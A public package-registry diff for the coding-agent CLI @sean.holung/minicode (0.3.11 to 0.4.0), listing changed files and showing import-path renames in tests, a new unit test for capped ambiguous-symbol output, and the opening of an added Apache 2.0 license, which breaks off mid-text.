@sean.holung/minicode 0.3.11 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -3
- package/dist/scripts/run-benchmarks.js +7 -1
- package/dist/src/benchmark/runner.js +66 -3
- package/dist/src/cli/benchmark-run.js +1 -1
- package/dist/src/index.js +1 -1
- package/dist/src/indexer/code-map.js +16 -1
- package/dist/src/serve/agent-bridge.js +1 -1
- package/dist/src/session/session-store.js +1 -1
- package/dist/src/shared/symbol-resolution.js +24 -3
- package/dist/src/tools/find-path.js +1 -1
- package/dist/src/tools/find-references.js +1 -1
- package/dist/src/tools/get-dependencies.js +1 -1
- package/dist/src/tools/post-edit-diagnostics.js +185 -0
- package/dist/src/tools/read-symbol.js +2 -2
- package/dist/src/tools/registry.js +18 -3
- package/dist/src/tools/search-code-map.js +101 -9
- package/dist/src/ui/cli-ink.js +1 -1
- package/dist/tests/agent.test.js +1 -1
- package/dist/tests/context-indicator.test.js +1 -1
- package/dist/tests/file-tools.test.js +2 -2
- package/dist/tests/focus-tracker.test.js +1 -1
- package/dist/tests/guardrails.test.js +1 -1
- package/dist/tests/indexer.test.js +59 -28
- package/dist/tests/model-client-openai.test.js +1 -1
- package/dist/tests/model-selection.test.js +1 -1
- package/dist/tests/python-plugin.test.js +3 -3
- package/dist/tests/read-symbol.test.js +84 -10
- package/dist/tests/reasoning-effort.test.js +1 -1
- package/dist/tests/search-code-map.test.js +132 -1
- package/dist/tests/serve.integration.test.js +1 -1
- package/dist/tests/session-store.test.js +1 -1
- package/dist/tests/session.test.js +1 -1
- package/dist/tests/symbol-resolution.test.js +57 -0
- package/dist/tests/system-prompt.test.js +1 -1
- package/dist/tests/tool-registry.test.js +1 -1
- package/node_modules/@sean.holung/minicode-sdk/LICENSE +201 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/README.md +43 -22
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/agent.d.ts +10 -1
- package/node_modules/@sean.holung/minicode-sdk/dist/src/agent/agent.d.ts.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/agent.js +18 -9
- package/node_modules/@sean.holung/minicode-sdk/dist/src/agent/agent.js.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/index.d.ts +1 -1
- package/node_modules/@sean.holung/minicode-sdk/dist/src/index.d.ts.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/index.js +1 -1
- package/node_modules/@sean.holung/minicode-sdk/dist/src/index.js.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.js +1 -1
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.js.map +1 -1
- package/node_modules/@sean.holung/minicode-sdk/dist/src/model/client.d.ts.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/model/client.js +71 -4
- package/node_modules/@sean.holung/minicode-sdk/dist/src/model/client.js.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.d.ts.map +1 -1
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.js +1 -1
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.js.map +1 -1
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.d.ts +59 -0
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.d.ts.map +1 -0
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.js +392 -0
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.js.map +1 -0
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file.d.ts +19 -0
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file.d.ts.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/edit-file.js +14 -25
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file.js.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.d.ts.map +1 -1
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.js +11 -5
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.js.map +1 -1
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/run-command.d.ts.map +1 -1
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/run-command.js +3 -0
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/run-command.js.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/search.d.ts.map +1 -1
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/search.js +52 -25
- package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/search.js.map +1 -0
- package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/package.json +6 -2
- package/node_modules/minicode-plugin-python/dist/src/index.d.ts +1 -1
- package/node_modules/minicode-plugin-python/dist/src/index.d.ts.map +1 -1
- package/node_modules/minicode-plugin-python/dist/tsconfig.tsbuildinfo +1 -1
- package/node_modules/minicode-plugin-python/package.json +2 -2
- package/package.json +3 -3
- package/node_modules/@minicode/agent-sdk/dist/src/agent/agent.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/agent/agent.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/index.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/index.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/model/client.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/model/client.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/tools/edit-file.d.ts +0 -13
- package/node_modules/@minicode/agent-sdk/dist/src/tools/edit-file.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/tools/edit-file.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/tools/run-command.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/src/tools/search.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.js +0 -569
- package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.js +0 -131
- package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.js +0 -54
- package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.js +0 -64
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.js +0 -350
- package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.js +0 -211
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.js +0 -330
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.js +0 -171
- package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/session.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/session.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/session.test.js +0 -226
- package/node_modules/@minicode/agent-sdk/dist/tests/session.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.js +0 -212
- package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.js +0 -76
- package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.d.ts +0 -3
- package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.js +0 -20
- package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.js +0 -72
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.d.ts +0 -2
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.d.ts.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.js +0 -69
- package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.js.map +0 -1
- package/node_modules/@minicode/agent-sdk/dist/tsconfig.tsbuildinfo +0 -1
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/model/client.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.js.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/run-command.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/search.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.d.ts +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.d.ts.map +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.js +0 -0
- /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.js.map +0 -0
|
@@ -3,7 +3,7 @@ import assert from "node:assert/strict";
|
|
|
3
3
|
import { mkdtemp, readdir, rm } from "node:fs/promises";
|
|
4
4
|
import path from "node:path";
|
|
5
5
|
import os from "node:os";
|
|
6
|
-
import { Session } from "@minicode
|
|
6
|
+
import { Session } from "@sean.holung/minicode-sdk";
|
|
7
7
|
import { deleteSession, DuplicateSessionLabelError, listSessions, loadSession, loadSessionByLabel, saveSession, setSessionsDir, } from "../src/session/session-store.js";
|
|
8
8
|
async function withTmpDir(fn) {
|
|
9
9
|
const dir = await mkdtemp(path.join(os.tmpdir(), "minicode-test-"));
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { test } from "node:test";
|
|
2
2
|
import assert from "node:assert/strict";
|
|
3
|
-
import { Session } from "@minicode
|
|
3
|
+
import { Session } from "@sean.holung/minicode-sdk";
|
|
4
4
|
test("session stores and returns messages", () => {
|
|
5
5
|
const session = new Session("test");
|
|
6
6
|
session.addMessage({ role: "user", content: "hello" });
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
import assert from "node:assert/strict";
|
|
2
|
+
import { test } from "node:test";
|
|
3
|
+
import { formatAmbiguousSymbolMatches } from "../src/shared/symbol-resolution.js";
|
|
4
|
+
// Mirrors the cap inside formatAmbiguousSymbolMatches. Kept private
|
|
5
|
+
// in the production module since no other consumer needs it; this
|
|
6
|
+
// test pins the contract value so a silent change to the cap fails
|
|
7
|
+
// loudly here.
|
|
8
|
+
const MAX_AMBIGUOUS_MATCHES = 12;
|
|
9
|
+
function fakeMatch(i) {
|
|
10
|
+
const qn = `Foo#class@some/dir/file${i}.ts:${10 + i}`;
|
|
11
|
+
return {
|
|
12
|
+
name: "Foo",
|
|
13
|
+
qualifiedName: qn,
|
|
14
|
+
originalQualifiedName: qn,
|
|
15
|
+
displayName: "Foo",
|
|
16
|
+
kind: "class",
|
|
17
|
+
filePath: `some/dir/file${i}.ts`,
|
|
18
|
+
startLine: 10 + i,
|
|
19
|
+
endLine: 20 + i,
|
|
20
|
+
signature: `class Foo${i}`,
|
|
21
|
+
exported: true,
|
|
22
|
+
aliases: ["Foo", qn],
|
|
23
|
+
docComment: undefined,
|
|
24
|
+
};
|
|
25
|
+
}
|
|
26
|
+
test("formatAmbiguousSymbolMatches caps shown entries at MAX_AMBIGUOUS_MATCHES", () => {
|
|
27
|
+
const matches = Array.from({ length: MAX_AMBIGUOUS_MATCHES + 5 }, (_, i) => fakeMatch(i));
|
|
28
|
+
const result = formatAmbiguousSymbolMatches("read_symbol", "Foo", matches);
|
|
29
|
+
// Top-line count reflects the true total, not the truncated count.
|
|
30
|
+
assert.match(result, new RegExp(`is ambiguous; ${matches.length} matches were found`));
|
|
31
|
+
// Each shown match line keeps its full qualified name intact —
|
|
32
|
+
// the whole point is that the agent can feed it back without
|
|
33
|
+
// having to guess past a mid-string truncation.
|
|
34
|
+
const shownEntries = (result.match(/^- /gm) ?? []).length;
|
|
35
|
+
assert.equal(shownEntries, MAX_AMBIGUOUS_MATCHES);
|
|
36
|
+
// Footer tells the agent how many were elided and how to refine.
|
|
37
|
+
assert.match(result, /5 more match\(es\) not shown/);
|
|
38
|
+
assert.match(result, /Refine the name/);
|
|
39
|
+
});
|
|
40
|
+
test("formatAmbiguousSymbolMatches shows everything below the cap with no footer", () => {
|
|
41
|
+
const matches = [fakeMatch(0), fakeMatch(1), fakeMatch(2)];
|
|
42
|
+
const result = formatAmbiguousSymbolMatches("read_symbol", "Foo", matches);
|
|
43
|
+
const shownEntries = (result.match(/^- /gm) ?? []).length;
|
|
44
|
+
assert.equal(shownEntries, 3);
|
|
45
|
+
assert.doesNotMatch(result, /more match\(es\) not shown/);
|
|
46
|
+
});
|
|
47
|
+
test("formatAmbiguousSymbolMatches preserves full qualified names for every shown entry", () => {
|
|
48
|
+
const matches = Array.from({ length: MAX_AMBIGUOUS_MATCHES + 2 }, (_, i) => fakeMatch(i));
|
|
49
|
+
const result = formatAmbiguousSymbolMatches("read_symbol", "Foo", matches);
|
|
50
|
+
// For every shown match, the line should contain its full qualified
|
|
51
|
+
// name — no mid-string clipping. This is the property the original
|
|
52
|
+
// bug violated (char-level truncation cut qualified names in half,
|
|
53
|
+
// forcing the agent to guess and produce "not found" loops).
|
|
54
|
+
for (let i = 0; i < MAX_AMBIGUOUS_MATCHES; i += 1) {
|
|
55
|
+
assert.match(result, new RegExp(matches[i].qualifiedName));
|
|
56
|
+
}
|
|
57
|
+
});
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import assert from "node:assert/strict";
|
|
2
2
|
import path from "node:path";
|
|
3
3
|
import { test } from "node:test";
|
|
4
|
-
import { buildSystemPrompt } from "@minicode
|
|
4
|
+
import { buildSystemPrompt } from "@sean.holung/minicode-sdk";
|
|
5
5
|
function createMinimalConfig(workspaceRoot) {
|
|
6
6
|
return {
|
|
7
7
|
modelProvider: "openai-compatible",
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
Apache License
|
|
2
|
+
Version 2.0, January 2004
|
|
3
|
+
http://www.apache.org/licenses/
|
|
4
|
+
|
|
5
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
6
|
+
|
|
7
|
+
1. Definitions.
|
|
8
|
+
|
|
9
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
10
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
11
|
+
|
|
12
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
13
|
+
the copyright owner that is granting the License.
|
|
14
|
+
|
|
15
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
16
|
+
other entities that control, are controlled by, or are under common
|
|
17
|
+
control with that entity. For the purposes of this definition,
|
|
18
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
19
|
+
direction or management of such entity, whether by contract or
|
|
20
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
21
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
22
|
+
|
|
23
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
24
|
+
exercising permissions granted by this License.
|
|
25
|
+
|
|
26
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
27
|
+
including but not limited to software source code, documentation
|
|
28
|
+
source, and configuration files.
|
|
29
|
+
|
|
30
|
+
"Object" form shall mean any form resulting from mechanical
|
|
31
|
+
transformation or translation of a Source form, including but
|
|
32
|
+
not limited to compiled object code, generated documentation,
|
|
33
|
+
and conversions to other media types.
|
|
34
|
+
|
|
35
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
36
|
+
Object form, made available under the License, as indicated by a
|
|
37
|
+
copyright notice that is included in or attached to the work
|
|
38
|
+
(an example is provided in the Appendix below).
|
|
39
|
+
|
|
40
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
41
|
+
form, that is based on (or derived from) the Work and for which the
|
|
42
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
43
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
44
|
+
of this License, Derivative Works shall not include works that remain
|
|
45
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
46
|
+
the Work and Derivative Works thereof.
|
|
47
|
+
|
|
48
|
+
"Contribution" shall mean any work of authorship, including
|
|
49
|
+
the original version of the Work and any modifications or additions
|
|
50
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
51
|
+
submitted to the Licensor for inclusion in the Work by the copyright owner
|
|
52
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
53
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
54
|
+
means any form of electronic, verbal, or written communication sent
|
|
55
|
+
to the Licensor or its representatives, including but not limited to
|
|
56
|
+
communication on electronic mailing lists, source code control systems,
|
|
57
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
58
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
59
|
+
excluding communication that is conspicuously marked or otherwise
|
|
60
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
61
|
+
|
|
62
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
63
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
64
|
+
subsequently incorporated within the Work.
|
|
65
|
+
|
|
66
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
67
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
68
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
69
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
70
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
71
|
+
Work and such Derivative Works in Source or Object form.
|
|
72
|
+
|
|
73
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
74
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
75
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
76
|
+
(except as stated in this section) patent license to make, have made,
|
|
77
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
78
|
+
where such license applies only to those patent claims licensable
|
|
79
|
+
by such Contributor that are necessarily infringed by their
|
|
80
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
81
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
82
|
+
institute patent litigation against any entity (including a
|
|
83
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
84
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
85
|
+
or contributory patent infringement, then any patent licenses
|
|
86
|
+
granted to You under this License for that Work shall terminate
|
|
87
|
+
as of the date such litigation is filed.
|
|
88
|
+
|
|
89
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
90
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
91
|
+
modifications, and in Source or Object form, provided that You
|
|
92
|
+
meet the following conditions:
|
|
93
|
+
|
|
94
|
+
(a) You must give any other recipients of the Work or
|
|
95
|
+
Derivative Works a copy of this License; and
|
|
96
|
+
|
|
97
|
+
(b) You must cause any modified files to carry prominent notices
|
|
98
|
+
stating that You changed the files; and
|
|
99
|
+
|
|
100
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
101
|
+
that You distribute, all copyright, patent, trademark, and
|
|
102
|
+
attribution notices from the Source form of the Work,
|
|
103
|
+
excluding those notices that do not pertain to any part of
|
|
104
|
+
the Derivative Works; and
|
|
105
|
+
|
|
106
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
107
|
+
distribution, then any Derivative Works that You distribute must
|
|
108
|
+
include a readable copy of the attribution notices contained
|
|
109
|
+
within such NOTICE file, excluding those notices that do not
|
|
110
|
+
pertain to any part of the Derivative Works, in at least one
|
|
111
|
+
of the following places: within a NOTICE text file distributed
|
|
112
|
+
as part of the Derivative Works; within the Source form or
|
|
113
|
+
documentation, if provided along with the Derivative Works; or,
|
|
114
|
+
within a display generated by the Derivative Works, if and
|
|
115
|
+
wherever such third-party notices normally appear. The contents
|
|
116
|
+
of the NOTICE file are for informational purposes only and
|
|
117
|
+
do not modify the License. You may add Your own attribution
|
|
118
|
+
notices within Derivative Works that You distribute, alongside
|
|
119
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
120
|
+
that such additional attribution notices cannot be construed
|
|
121
|
+
as modifying the License.
|
|
122
|
+
|
|
123
|
+
You may add Your own copyright statement to Your modifications and
|
|
124
|
+
may provide additional or different license terms and conditions
|
|
125
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
126
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
127
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
128
|
+
the conditions stated in this License.
|
|
129
|
+
|
|
130
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
131
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
132
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
133
|
+
this License, without any additional terms or conditions.
|
|
134
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
135
|
+
the terms of any separate license agreement you may have executed
|
|
136
|
+
with Licensor regarding such Contributions.
|
|
137
|
+
|
|
138
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
139
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
140
|
+
except as required for reasonable and customary use in describing the
|
|
141
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
142
|
+
|
|
143
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
144
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
145
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
146
|
+
